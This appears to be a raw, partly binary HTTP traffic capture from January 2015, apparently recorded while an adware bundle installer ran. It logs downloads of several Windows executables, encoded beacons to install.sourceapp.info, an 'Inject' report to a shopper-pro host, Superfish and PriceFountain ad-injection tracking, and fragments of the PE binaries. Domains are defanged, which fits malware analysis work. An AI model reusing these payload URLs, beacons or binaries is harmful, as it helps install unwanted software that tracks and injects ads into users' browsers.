.......{.r.Z GcM.Kg......\ g...l{^o........q4..i.A;........w...#.=:...
]5N'}.u.&:....0 ....~Z..R.,%...z.S(....,P.q..m,Hg]]./...:....h'....q .
ay..K.=w.......e...]$..A_,..../f.s...=d8<......6.O....f7;e.I.......
.*4.&....U.U.V.Kw.....S]..I.A....A..V..........=.l</.r.]....(......
l2.3.........,....*...#?#.)..~1~..W.....0.:k..../F.E^.......Hy....<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr; _ga=GA1.2.1963142124.1420623260; _gat=1


HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:53 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>....<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1269573

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 07 Jan 2015 08:34:28 GMT

Accept-Ranges: bytes

ETag: "28637c0542ad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:05 GMT

Content-Range: bytes 0-1269572/1269576

X-Cache: Miss from cloudfront

Via: 1.1 f5c09d807f1b0b4c0ef4ff6e70ea7542.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ExyKJOTudk0KBEKy-gumfgjBzsCN9FR7HXBUxBc2bzaZieUA8IWvbQ==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@..@.data................r..........
....@....ndata.......@...........................rsrc................v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@
..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u
....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..
Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=GeneralInjector&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:35:03 GMT..Content-Length: 0..

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=407808-815616

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 407809

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 407808-815616/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 b295958ba2703b4c378728a17388b7ff.cloudfront.net (CloudFront)

X-Amz-Cf-Id: c3GeGWDjoVhDL956Uh2Nw52kWF5qjiBHYKAvSMbjpPrMO3zHCjD05Q==
..E..}...P.u. .VWj.h......\.G.......M....E.3......J.;.......L.0.E..].;
E.t.P..,..Y...t......n....}..ty.u.... .........G;.sUj..E....._...f;E.t
3f;.t.f...........B.;.s.j....Xf9.t.j.XP_f.....;.r....E......J..L....E.
.. .....d.....t..M.j.Zf9..U.u.....$..D...E.....8.E..M.;..._...j.Y.E...
.......f;E...&...f;.t.f...'.E....;.s(j.Zf9W..U.u.j.X...f.......f......
.......j..E.Pj..E.P.....J.....4...$.G...u...`.G..........}.........U..
....J..D..HtRj.Xj.f9E.u.f......3Xf.......J..E..D.......J..E..D.%.....J
.j.Y....L.&j.Y;}........l;u.u.j.Xf9E.u.f.......j.j.j..u..o....U....j.X
f9E.t.j.Yf........U.j.Yf............J..D...@u....D....f..f......E... .
.......`.G.j.^;.u..................0.......m......3......3.........8..
................._^[..jdh..H......j..A...Y3..].j@j _W.R...YY...M...u.j
..E.PhX.I.............U......J..=..J......;.s1f.A.......Y..a$..A$$..A$
f.A%...Y8.Y4..@.M....J....E.P..\.G.f.}....)....E............M.....E...
.E......;.|....M.3.F.u.9...J.} j@W.....YY...M.............J..M....}..E
..U.;........2...tX...tS....tM..u.V....G..U...t8..............4...J..u
......E....F.h.....F.P....G..F..U..M.G.}..E.@.E.....U........J..=..J..
....J......;.s$f.A.......Y..a$.f.A%...Y8.Y4..@.M...F.u..M.......].....
...........5..J..u..>.t..>.t...F....F.......F....u.j.X...C......
..P....G......tE..tAW....G...t6.>%.......u...F..@.....u...F....F.h.
....F.P....G..F.."..F..@.F..........J...t.....@.....C.<....E.......
...3.......j......Y.U..W.}...u.............I.........G..........@.....
...t... .G..........G......u.W.*<..Y...G....w..w.W.9...YP.K....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=345548, public, no-transform, must-revalidate

Last-Modified: Sun, 4 Jan 2015 09:34:14 GMT

Expires: Sun, 11 Jan 2015 09:34:14 GMT

Date: Wed, 07 Jan 2015 09:37:05 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015010
4093414Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150104093414Z....20150111093414Z0...*.H........
.........P.OK.w3.B.R..9_*..-....][\....5'.A.jL..=.OZ...|.......?..R..#
YB.6q|...'.P..G ..h...I.H9.`G.M.}..M...3.......p.."Ug....U...7.3.?....
...$.._Q.\_./.....|.L..[......gzO'.C..6.....B.sK.D..H[......iPI.... ..
.Xp.T.]..LR....R:.m.J..T...lDP..p....J..d./D.F....2....0...0...0..3...
..../...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....VeriSign,
 Inc.1705..U....Class 3 Public Primary Certification Authority0...1412
02000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec Corporatio
n1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PCA - G1
 OCSP Responder Certificate 30.."0...*.H.............0..........'.....
.Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..3-; )....
.0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T..pS.p..^|
o....S..v.).).....r.v.qo$......C.V!....@.h#qh...u1T.].G0.]E...=._.....
. ........TE...Sa.s4........r...3.............0..0...U....0.0l..U. .e0
c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .......
0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U........0... .
....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H.............$..H
......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......a..D.....
......e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=394234, public, no-transform, must-revalidate

Last-Modified: Sun, 4 Jan 2015 23:04:05 GMT

Expires: Sun, 11 Jan 2015 23:04:05 GMT

Date: Wed, 07 Jan 2015 09:37:06 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015010
4230405Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150104230405Z....20150111230405Z0...*.H........
........G..z./....,FS?..1..H.b*.!\..U.X)._...\d.V.....a.....). ......;
..9.pD.o4.....!...........5.O*....Gt...DM'...a.S../......<{;.Q#....
*..~g...p.._WB.:1.....~T....=.1...w'.p#*q..]$.NO..!..e5.`Ic..@.kd. ..v
....~......F.....l.........3U..T...^p3.....q..i,RMX%&....#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*FK....W@....F....jnb.w._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=38540-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 269780

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 38540-308319/308320

.....Kz...E.P..`...P..H....M..E............H...P......}..r..u.........
..t.....E......E......E..r...`............E...}....t.........p........
.`....r..u...........~..........................x....u.3.....~....Q..d
$...A..u. .Q..~...P..x....dy...E..j.h..A..M..E......E......E...?y...E.
.j.h..A...`.....t.........p.........`......y...E.P..`...P..x....M..E..
..........x...P......}..r..u...........t.....E......E......E..r...`...
.........E...}....t.........p.........`....r..u..w........\......H....
C.H....M......P..H.........}..r..u..>...............x....C.x....M..
....P..x.........}..r..u...........\........A.j.j.j...H....C.H...Pj.h.
.......3..w.................Q..........D...Vj.P.}l.......\....W..D....
.H....C.H...WQj.h.............j.j.j...x....C.x...Pj.h........3..w.....
............Q.'........Vj.S..l............WSW..x....C.x...Qj.h........
A...@...h....j.W..k....D......VSh..A.h....W........S.8......V./.......
......r...x.............\..........................x......>.....H..
..|....... ...3.h....f.E..E.f.E.f.E..E.f.E..E.P..4...P..8...P.W...<
...Ph.....E.Pj.f..E.f..E.f..E.f..E.f..E.f..E.f..E.f..E.....A.3.h....Pf
............P..j.......D.........@............3.....D.....@.....D.....
t'..@.....t.PQhl.A.......h....P..........Q......PQ.P......h....j.V.@j.
............<...Ph..A.h....V.}.......M.d......Y_^[.M.3..".....]..U.
....SV.5..A.Wj j@.U.....h......j@.]...j....E.Ph....Vj Sh.....C........
W.u...........A..}..u............5..A......u..._^..[..].U....8..0B.3..
E.Sj..E.h..A.P......A.....E.j.j.j.j.j.h....P....A..E....u.3.[.M.3.

<<< skipped >>>

GET /mg?alpha=ADkjEnMScG9maQkwDDh8P3BhAXZeKicuM3s0fhUtVT0ORDZDBnRpGgB9PRxWWSk7TwYIS1AUQ2lLb0ZnDB9CEAQaMhMGd1cRQBIgamoMKHxCJSVDLxY8dnNzdlchTW8GaH8ZdlVFI3kdAns/FCJcLyZHDwBZFFM8X2IyTyBUegJDCG47awt1W2AzHSR9M1V9e0UhMx5pGz9gOy0lWiBlLRofK2Uq HTTP/1.1

Connection: Keep-Alive

User-Agent: WinHttpClient

Host: install.sourceapp.info


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 07 Jan 2015 09:33:37 GMT

Content-Length: 183560

oNSYjv/Yrv f/ozSpfKgt4zchvD1w8eZtMTjzt7pr5nW3LO1/Yryg9rt5  84NDdisf4sP
yexu2RiYer5tqt8ticxMaAv6DUy97UjYm78ve8jcKDv6SEhbKqhf7PmIX32YHN6P/23aTN
voTS1 yvl OKx/nko//l6YGSwOPz0LjN3NLEg9GtttfM37jWgr 8vrfUjIrr54KJ4PWS N
 ZrrrO1sGu56KQ8I2w0s3I  7Ij6P43N/kkK/8g42K 6 Th fqqqOn/pWCzczJ/4KQnb j
porBg8DjlaGevIP43JWw88ao9I6g/diO0 iEmJrorZ7Yjv3x/6Oet KXlY71t9Ssztydko
/Gn6DUy9641oqrvKH 2siA4eWEs6O7j/zPv7vz1p K8KP5xLvEvoTdy/q7nd Pkar0p9D 
6c7bh6H00qCcg4qUn8e07cOc0v7O3ufg4fCM15/2pNvfioS13YjQ8ebUgMDo/7r7sdL7yM
Dd7KKTwZjvzMK00 7pkYrClPrfvcrWjMTGgL g1Mve1I2Ju/L3vI3Cg7 khIWyqoX z5iF
99mBzej/9t2kzb6E0tfsr5fjisf55KP/5emBksDj89C4zdzSxIPRrbbXzN 41oK/vL631I
yK6 eCieD1kvjfma66ztbBrueikfmNsNLNyPvuyI j MPF5JCv/IONivuvk4fHypeInse7
r9nSyMawt6qipLyf3c2/pJecrrqDxMuRtrSPmt2mqbSKrdniw9fM 6ikzIfG9bD80vjgjt
XAv/rDt9v3n5KD1KyC0NvY8c7euLGhoZ2Czfr1hYqtvYKokJqy saRhOig4Mmr1bCcwMrr
qY BkJH59uSGtL7O25ag5dT2hJu2rbn16 2aztruhMbk8p6ri8eB5 OTk6Ojldb2vabi2q
bdpLa6hOrX88rB3dCtn8jJif7nqtChroeBkrz2xbHa75 Kn8fr 9bL1/bAxri/v7Gd4I7n
75eYgaeD6cHe6fDUmNuv6brBu8XlycbcvPaUzIfA9b7k2fXtgY3A4 HDodvE0p3Iy63jgo
eIts6Qp6Co8MKMp9jVtt/u7Zbr3pTxrJen0bms9tyt0/zH2MvCkKLfhNDU56vMr6DAj4O1
4NSa39SbxNDMvK3Ukpn/lJS7s7m3nPiO//OE3/ihk bG0PHw2obLr4v53KHX9 Xc3f2n0J
eN0vzho5Cv5ZGdlbbn1faE35 Kmcfl493G2vmYxuSkv6ed08PopIiZ4PXfvobep /FkYrw
59Djm/awipbI/7iaj9GR3fulzuL/jZ WhcnmvdDdkZGZ/pWCzczJ/4KQiLW/oZHBgc/atJ
OroZX y5C/yum1xr6s1MevxvfUlpS8upPBntbe86vZr7aMjI61uZOxxsmbhZ7HrZfZ0s7/
zt6wpaG 1IyJ/PSCmIyukuPcmZD 0JfD6P/ yaTS94qW0e2ohcKZ17KooN3h/4fVwLzt0L
fKm8SSmNesvJTFmfOIxuTp9f7a2pbj48PH4Iet2f3e/7TFldyi56KKu9jh0sPd/6eu

<<< skipped >>>

POST /mg?alpha=BjIzEAkdKFISc0QKHDoGOXtxAwxYCENhf1pXEA== HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Content-Length: 246

Host: install.sourceapp.info

alpha=BjIzEAlFP25sEhEsHDoGOXtxAwxYITcsSX0/bhdXUzYeRkxFDWRrYAZ2LR4sXyIrTXwOQEAWOW9Af0QdChRSEn4cOQMEDVEaUBBabGEcKgZELjVBVRA3ZnEJcFwxTxUAY28bDFNOM3tnBHAvFlhaJDZFdQZSBFFGWWkiTVpScRJBcmgwewkPXWsjH157OEV/AUMqIxwTHTRwOVcjUTBEREZuZgYQUk4xemYFcgwqeXdbKBA=
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 07 Jan 2015 09:33:39 GMT

Content-Length: 0

GET /e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.6276737324109489&guid= HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default8849&xdm_p=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: q.pricejs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:34:42 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:34:42 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.......

GET /e?type=quick&topic=pf_suzan_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.6108539702585893&guid= HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: q.pricejs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:34:53 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:34:53 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.......

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&CD_CTID=xUSiF17wJSsmtycl&version=2015.1.5.0.55&pageUrl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://VVV.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=531&tier1_next_group=177&tier1_prev_group=685&tier2_bucket=2014w47_offer_cut_end&tier2_curr_group=212&tier2_next_group=386&tier2_prev_group=526

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: q.pricejs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:34:58 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:34:58 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.....

GET /?type=1&domainId=3026708&dedup=1&actionid=238238 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 3026708.r.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Server: Microsoft-IIS/8.0

p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo

Date: Wed, 07 Jan 2015 09:34:41 GMT

Connection: close

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 a40df8536d823ad9767f3e132bc909ae.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gyEY1shx32wXAsLt_tx25Ts5C3CyB4jXJuKrFdvTTPVN9sQvHHW1Ww==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.(....................@..........................0....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@..@.data....o.......J..................@....rsrc........ 
......................@..@............................................
.................................................

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@..@.data....C...0...&..................@....rsrc...0.....
.......>..............@..@.reloc...H.......J...N..............@..B.
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

